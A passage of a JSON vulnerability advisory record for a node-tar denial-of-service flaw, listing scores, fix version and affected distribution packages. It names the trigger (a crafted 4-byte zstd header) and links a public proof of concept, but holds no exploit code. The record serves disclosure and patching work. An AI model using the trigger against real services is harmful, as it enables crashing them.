{"id":"CVE-2026-140241","aliases":["CLSA-2026-1796209074","CLSA-2026-1796224850","CLSA-2026-1796225921","CLSA-2026-1796291167","CLSA-2026-1796295995","CLSA-2026-1796373564","DEBIAN-CVE-2026-140241","DHI-s2uw-cw2a-cdr4-tutt","EUVD-2026-140447","GHSA-72fp-85cc-g945","UBUNTU-CVE-2026-140241"],"status":"published","title":"node-tar crashes the process with an uncaught exception on a 4-byte zstd magic header when the Node runtime lacks native zstd","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, node-tar fails to handle an exception when automatically detecting Zstandard (zstd) compression on Node.js runtimes without native zstd support. An attacker who can supply a specially crafted input file to the asynchronous file listing or extraction API can cause an uncaught exception that terminates the process, resulting in denial of service. This issue is fixed in version 8.0.0.","severity":{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve","others":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","from":"osv"}]},"epss":{"day":"2026-12-04","score":0.00838,"percentile":0.5906,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-248","CWE-755"],"published":"2026-12-01T17:39:51Z","modified":"2026-12-05T01:15:33Z","exploits":[{"source":"pocgithub","id":"googlesky/CVE-2026-140241","title":"googlesky/CVE-2026-140241","date":"2026-12-02","url":"https://github.com/googlesky/CVE-2026-140241"}],"fixes":[{"ecosystem":"npm","package":"tar","fixed_in":["8.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.22"},{"fixed":"8.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.22-tuxcare.0"},{"fixed":"7.5.22-tuxcare.1"}]}],"versions":["7.5.22"],"bundled":24},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.21-tuxcare.0"},{"fixed":"7.5.21-tuxcare.1"}]}],"versions":["7.5.21"],"bundled":24},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.18-tuxcare.0"},{"fixed":"7.5.18-tuxcare.2"}]}],"versions":["7.5.18","7.5.18-tuxcare.1"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.17-tuxcare.0"},{"fixed":"7.5.17-tuxcare.2"}]}],"versions":["7.5.17","7.5.17-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.7-tuxcare.0"},{"fixed":"7.5.7-tuxcare.3"}]}],"versions":["7.5.7","7.5.7-tuxcare.1","7.5.7-tuxcare.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.5.24-tuxcare.0"},{"fixed":"7.5.24-tuxcare.1"}]}],"versions":["7.5.24"],"bundled":21},{"source":"osv","ecosystem":"Debian:12","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.1.13+~cs7.0.5-1","6.1.13+~cs7.0.5-1+deb12u1","6.1.13+~cs7.0.5-2","6.1.13+~cs7.0.5-3","6.1.13+~cs7.0.5-4","6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1","7.5.24+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","6.2.1+~cs7.0.8-1+deb13u1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1","7.5.24+~4.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+ds1+~cs6.1.13-1","6.2.1+ds1+~cs6.1.13-10","6.2.1+ds1+~cs6.1.13-11","6.2.1+ds1+~cs6.1.13-2","6.2.1+ds1+~cs6.1.13-3","6.2.1+ds1+~cs6.1.13-4","6.2.1+ds1+~cs6.1.13-5","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-8","6.2.1+ds1+~cs6.1.13-9","6.2.1+~cs7.0.8-1","7.5.16+~4.0.1-1","7.5.16+~4.0.1-2","7.5.19+~4.0.1-1","7.5.19+~4.0.1-2","7.5.22+~4.0.1-1","7.5.24+~4.0.1-1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-r0"}]}],"versions":["3.32.3-r0","3.32.3-r1","3.32.3-r2","3.32.4-r0","3.32.4-r1","3.32.4-r2","3.32.4-r3","3.32.4-r4","3.32.4-r5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-r0"}]}],"versions":["3.33.0-r0","3.33.0-r1","3.33.0-r2","3.33.0-r3","3.33.1-r0","3.33.1-r1","3.33.1-r2","3.33.1-r3","3.33.1-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-r0"}]}],"versions":["12.4.1-r0","12.4.1-r1","12.4.1-r2","12.4.1-r3","12.5.0-r0","12.5.1-r0","12.5.1-r1","12.6.0-r0","12.6.0-r1","12.6.0-r2","12.6.0-r3","12.6.0-r4","12.6.0-r5","12.6.1-r0","12.6.1-r1","12.6.1-r2","12.6.1-r3","12.6.1-r4","12.6.1-r5","12.6.1-r6","12.7.0-r0","12.7.0-r1","12.7.0-r2","12.7.0-r3","12.7.0-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-r0"}]}],"versions":["12.4.1-r0","12.4.1-r1","12.4.1-r2","12.4.1-r3","12.5.0-r0","12.5.1-r0","12.5.1-r1","12.6.0-r0","12.6.0-r1","12.6.0-r2","12.6.0-r3","12.6.0-r4","12.6.0-r5","12.6.1-r0","12.6.1-r1","12.6.1-r2","12.6.1-r3","12.6.1-r4","12.6.1-r5","12.6.1-r6","12.7.0-r0","12.7.0-r1","12.7.0-r2","12.7.0-r3","12.7.0-r4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-r0"}]}],"versions":["2.6.1-r0","2.7.0-r0","2.7.0-r1","2.7.0-r2","2.7.1-r0","2.7.1-r1","2.7.1-r2","2.7.2-r0","2.7.2-r1","2.7.3-r0","2.8.1-r0","2.8.1-r1","2.8.1-r2","2.8.1-r3","2.8.1-r4","2.8.1-r5","2.9.0-r1","2.9.1-r0","2.9.1-r1","2.9.1-r2","2.9.1-r3","2.9.1-r4","2.9.1-r5","2.9.1-r6","2.9.1-r7","2.9.1-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0-r1"}]}],"versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4","0.9.0-r5","0.9.0-r6","0.9.0-r7"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.0-r1"}]}],"versions":["0.7.0-r1","0.7.0-r2","0.7.0-r3","0.7.0-r4","0.7.0-r5","0.7.0-r6","0.7.0-r7","0.8.0-r0","0.8.0-r1","0.9.0-r0","0.9.0-r1","0.9.0-r2","0.9.0-r3","0.9.0-r4","0.9.0-r5","0.9.0-r6","0.9.0-r7"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-r0"}]}],"versions":["1.0.0-r0","1.0.0-r1","1.1.0-r0","1.1.0-r1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-r0"}]}],"versions":["1.0.0-r0","1.0.0-r1","1.1.0-r0","1.1.0-r1"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-r0"}]}],"versions":["1.45.0-r0","1.45.0-r1","1.45.0-r2","1.45.0-r3","1.45.0-r4","1.46.0-r0","1.46.0-r1","1.46.0-r2","1.46.0-r3","1.46.0-r4","1.46.0-r5","1.46.0-r6","1.46.0-r7","1.46.0-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-r0"}]}],"versions":["1.45.0-r0","1.45.0-r1","1.45.0-r2","1.45.0-r3","1.45.0-r4","1.46.0-r0","1.46.0-r1","1.46.0-r2","1.46.0-r3","1.46.0-r4","1.46.0-r5","1.46.0-r6","1.46.0-r7","1.46.0-r8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.23","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-r0"}]}],"versions":["44.190.0-r0","44.190.0-r1","44.206.0-r0","44.218.0-r0","44.224.1-r0","44.224.2-r0","44.225.1-r0","44.225.2-r0","44.226.2-r0","44.227.2-r0","44.227.4-r0","44.230.1-r0","44.235.1-r0","44.235.4-r0","44.236.4-r0","44.237.3-r0","44.239.0-r0","44.239.1-r0","44.241.0-r0","44.242.0-r0","44.247.1-r0","44.247.2-r0","44.249.3-r0","44.251.0-r0","44.252.2-r0","44.252.8-r0","44.253.4-r0","44.255.2-r0","44.256.1-r0","44.257.0-r0","44.257.5-r0","44.257.6-r0","44.257.9-r0","44.259.0-r0","44.260.1-r0","44.261.1-r0","44.262.1-r0","44.262.2-r0","44.263.2-r0","44.263.5-r0","44.263.5-r1","44.264.1-r0","44.264.1-r1","44.264.1-r2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Alpine:3.24","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-r0"}]}],"versions":["44.190.0-r0","44.190.0-r1","44.206.0-r0","44.218.0-r0","44.224.1-r0","44.224.2-r0","44.225.1-r0","44.225.2-r0","44.226.2-r0","44.227.2-r0","44.227.4-r0","44.230.1-r0","44.235.1-r0","44.235.4-r0","44.236.4-r0","44.237.3-r0","44.239.0-r0","44.239.1-r0","44.241.0-r0","44.242.0-r0","44.247.1-r0","44.247.2-r0","44.249.3-r0","44.251.0-r0","44.252.2-r0","44.252.8-r0","44.253.4-r0","44.255.2-r0","44.256.1-r0","44.257.0-r0","44.257.5-r0","44.257.6-r0","44.257.9-r0","44.259.0-r0","44.260.1-r0","44.261.1-r0","44.262.1-r0","44.262.2-r0","44.263.2-r0","44.263.5-r0","44.263.5-r1","44.264.1-r0","44.264.1-r1","44.264.1-r2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-0"}]}],"versions":["3.32.3-0","3.32.3-1","3.32.3-2","3.32.4-0","3.32.4-1","3.32.4-2","3.32.4-3","3.32.4-4","3.32.4-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-0"}]}],"versions":["3.33.0-0","3.33.0-1","3.33.0-2","3.33.0-3","3.33.1-0","3.33.1-1","3.33.1-2","3.33.1-3","3.33.1-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-fips-3.32","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.32.3-0"}]}],"versions":["3.32.3-0","3.32.3-1","3.32.3-2","3.32.4-0","3.32.4-1","3.32.4-2","3.32.4-3","3.32.4-4","3.32.4-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"calico-whisker-fips-3.33","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.33.0-0"}]}],"versions":["3.33.0-0","3.33.0-1","3.33.0-2","3.33.0-3","3.33.1-0","3.33.1-1","3.33.1-2","3.33.1-3","3.33.1-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"directus-12","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"12.4.1-0"}]}],"versions":["12.4.1-0","12.4.1-1","12.4.1-2","12.5.0-0","12.5.0-1","12.5.0-2","12.5.1-0","12.5.1-1","12.5.1-2","12.5.1-3","12.6.0-0","12.6.0-1","12.6.0-2","12.6.0-3","12.6.0-4","12.6.0-5","12.6.0-6","12.6.1-0","12.6.1-1","12.6.1-2","12.6.1-3","12.6.1-4","12.6.1-5","12.7.0-0","12.7.0-1","12.7.0-2","12.7.0-3","12.7.0-4","12.7.0-5"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kibana-9.4","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.4.5-1"}]}],"versions":["9.4.10-0","9.4.10-1","9.4.10-2","9.4.5-1","9.4.7-0","9.4.8-0","9.4.8-1","9.4.8-11","9.4.8-12","9.4.8-13","9.4.8-14","9.4.8-2","9.4.8-3","9.4.8-4","9.4.8-5","9.4.8-6","9.4.8-7","9.4.8-8","9.4.8-9","9.4.9-0","9.4.9-1","9.4.9-2","9.4.9-3","9.4.9-4"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kibana-9.5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.5.5-0"}]}],"versions":["9.5.5-0","9.5.5-1","9.5.5-10","9.5.5-11","9.5.5-12","9.5.5-2","9.5.5-3","9.5.5-4","9.5.5-5","9.5.5-6","9.5.5-7","9.5.5-9","9.5.6-0","9.5.6-1","9.5.6-2","9.5.6-3","9.5.7-0","9.5.7-1","9.5.7-2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-fips-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui-fips","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"kyverno-policy-reporter-ui","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.6.1-0"}]}],"versions":["2.6.1-0","2.7.0-0","2.7.0-1","2.7.0-2","2.7.1-0","2.7.1-1","2.7.1-2","2.7.2-0","2.7.2-1","2.7.3-0","2.8.1-0","2.8.1-1","2.8.1-2","2.8.1-3","2.8.1-4","2.8.1-5","2.9.0-1","2.9.1-0","2.9.1-1","2.9.1-2","2.9.1-3","2.9.1-4","2.9.1-5","2.9.1-6","2.9.1-7","2.9.1-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-0","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.0-0"}]}],"versions":["0.6.0-0","0.7.0-0","0.7.0-1","0.7.0-2","0.7.0-3","0.7.0-4","0.7.0-5","0.7.0-6","0.7.0-7","0.8.0-0","0.8.0-1","0.9.0-0","0.9.0-1","0.9.0-2","0.9.0-3","0.9.0-4","0.9.0-5","0.9.0-6","0.9.0-7","0.9.0-8","0.9.0-9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"llama-cpp-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-0"}]}],"versions":["1.0.0-0","1.0.0-1","1.0.0-2","1.0.0-3","1.1.0-0","1.1.0-1","1.1.0-2"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"logto-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.45.0-0"}]}],"versions":["1.45.0-0","1.45.0-1","1.45.0-2","1.45.0-3","1.45.0-4","1.46.0-0","1.46.0-1","1.46.0-2","1.46.0-3","1.46.0-4","1.46.0-5","1.46.0-6","1.46.0-7","1.46.0-8"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"opensearch-dashboards","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.8.0-0"}]}],"versions":["3.10.0-0","3.10.0-1","3.10.0-2","3.10.0-3","3.10.0-4","3.10.0-5","3.8.0-0","3.8.0-1","3.8.0-2","3.8.0-3","3.9.0-0","3.9.0-1","3.9.0-2","3.9.0-3","3.9.0-4","3.9.0-5","3.9.0-6"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"renovate-44","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"44.190.0-0"}]}],"versions":["44.190.0-0","44.190.0-1","44.212.0-0","44.219.0-0","44.224.2-0","44.225.1-0","44.225.2-0","44.226.2-0","44.227.2-0","44.227.4-0","44.230.1-0","44.235.1-0","44.235.4-0","44.236.4-0","44.237.3-0","44.239.0-0","44.239.1-0","44.242.0-0","44.247.1-0","44.247.2-0","44.249.3-0","44.251.0-0","44.252.2-0","44.252.8-0","44.253.4-0","44.255.2-0","44.256.1-0","44.257.0-0","44.257.5-0","44.257.6-0","44.257.9-0","44.259.0-0","44.260.1-0","44.261.1-0","44.262.1-0","44.262.2-0","44.263.2-0","44.263.5-0","44.263.5-1","44.264.1-0","44.264.1-1","44.264.1-2","44.264.1-3"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"uptime-kuma-1","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.23.17-0"}]}],"versions":["1.23.17-0","1.23.17-1","1.23.17-11","1.23.17-12","1.23.17-2","1.23.17-3","1.23.17-4","1.23.17-5","1.23.17-6","1.23.17-7","1.23.17-8","1.23.17-9"]},{"source":"osv","ecosystem":"Docker Hardened Images:Debian:13","package":"uptime-kuma-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.0-0"}]}],"versions":["2.5.0-0","2.5.0-1","2.5.0-2","2.5.10-0","2.5.11-0","2.5.11-1","2.5.11-2","2.5.11-3","2.5.12-0","2.5.13-0","2.5.13-1","2.5.3-0","2.5.3-1","2.5.4-0","2.5.5-0","2.5.5-1","2.5.6-0","2.5.7-0","2.5.7-1","2.5.9-0","2.5.9-1"]},{"source":"osv","ecosystem":"npm","package":"tar","ranges":[{"type":"SEMVER","events":[{"introduced":"7.5.22"},{"fixed":"8.0.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.1.18-1","0.1.18-1ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.0.3-2","1.0.3-2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[